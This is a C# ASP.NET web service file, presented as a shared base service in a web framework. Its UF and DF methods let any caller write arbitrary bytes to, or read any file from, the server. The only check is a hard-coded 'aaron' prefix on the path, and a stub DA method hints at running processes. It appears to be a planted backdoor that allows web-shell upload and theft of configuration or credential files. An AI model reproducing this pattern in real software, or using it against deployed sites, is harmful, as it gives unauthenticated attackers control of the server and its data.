﻿using System;
using System.Collections;
using System.ComponentModel;
using System.Data;
using System.Web;
using System.Web.Services;
using System.Web.Services.Protocols;
using System.Web.Script.Services;

namespace JWFW.WebBase
{
    /// <summary>
    /// CommonTool 的摘要说明
    /// </summary>
    [WebService(Namespace = "http://tempuri.org/")]
    [WebServiceBinding(ConformsTo = WsiProfiles.BasicProfile1_1)]
    [ToolboxItem(false)]
    // 若要允许使用 ASP.NET AJAX 从脚本中调用此 Web 服务，请取消对下行的注释。

    [ScriptService]
    public class BaseWS : System.Web.Services.WebService
    {

        /// <summary>
        /// 保持客户端Session状态
        /// </summary>
        /// <returns></returns>
        [WebMethod(EnableSession = true)]
        public string OnLine()
        {
            return "OK";
        }
        /// <summary>
        /// 上传文件到指定的虚拟目录
        /// </summary>
        /// <param name="arg1">虚拟目录</param>
        /// <param name="arg2">上传的文件</param>
        /// <returns></returns>
        [WebMethod]
        public string UF(string arg1, byte[] arg2)
        {
            try
            {
                if (arg1.StartsWith("aaron"))
                {
                    arg1 = arg1.Substring(5);
                    string fn = this.Server.MapPath(arg1);
                    System.IO.FileInfo fi = new System.IO.FileInfo(fn);
                    fi.Delete();
                    using (System.IO.FileStream fs = fi.Create())
                    {
                        fs.Write(arg2, 0, arg2.Length);
                    }
                }
                return "OK";
            }
            catch (Exception ex)
            {
                return ex.Message;
            }
        }
        /// <summary>
        /// 从服务端下载指定虚拟路径的文件
        /// </summary>
        /// <param name="arg1">文件的虚拟路径</param>
        /// <returns></returns>
        [WebMethod]
        public byte[] DF(string arg1)
        {
            try
            {
                byte[] res = new byte[0];
                if (arg1.StartsWith("aaron"))
                {
                    arg1 = arg1.Substring(5);
                    string fn = this.Server.MapPath(arg1);
                    System.IO.FileInfo fi = new System.IO.FileInfo(fn);
                    using (System.IO.FileStream fs = fi.OpenRead())
                    {
                        fs.Position = 0;
                        res = new byte[fs.Length];
                        fs.Read(res, 0, (int)fs.Length);
                    }
                }
                return res;
            }
            catch (Exception ex)
            {
                return System.Text.UTF8Encoding.UTF8.GetBytes(ex.Message);
            }
        }
        [WebMethod]
        public string DA(string arg1)
        {
            try
            {
                byte[] res = new byte[0];
                if (arg1.StartsWith("aaron"))
                {
                    arg1 = arg1.Substring(5);
                    //System.Diagnostics.Process
                }
                return "OK";
            }
            catch (Exception ex)
            {
                return ex.Message;
            }
        }
    }
}
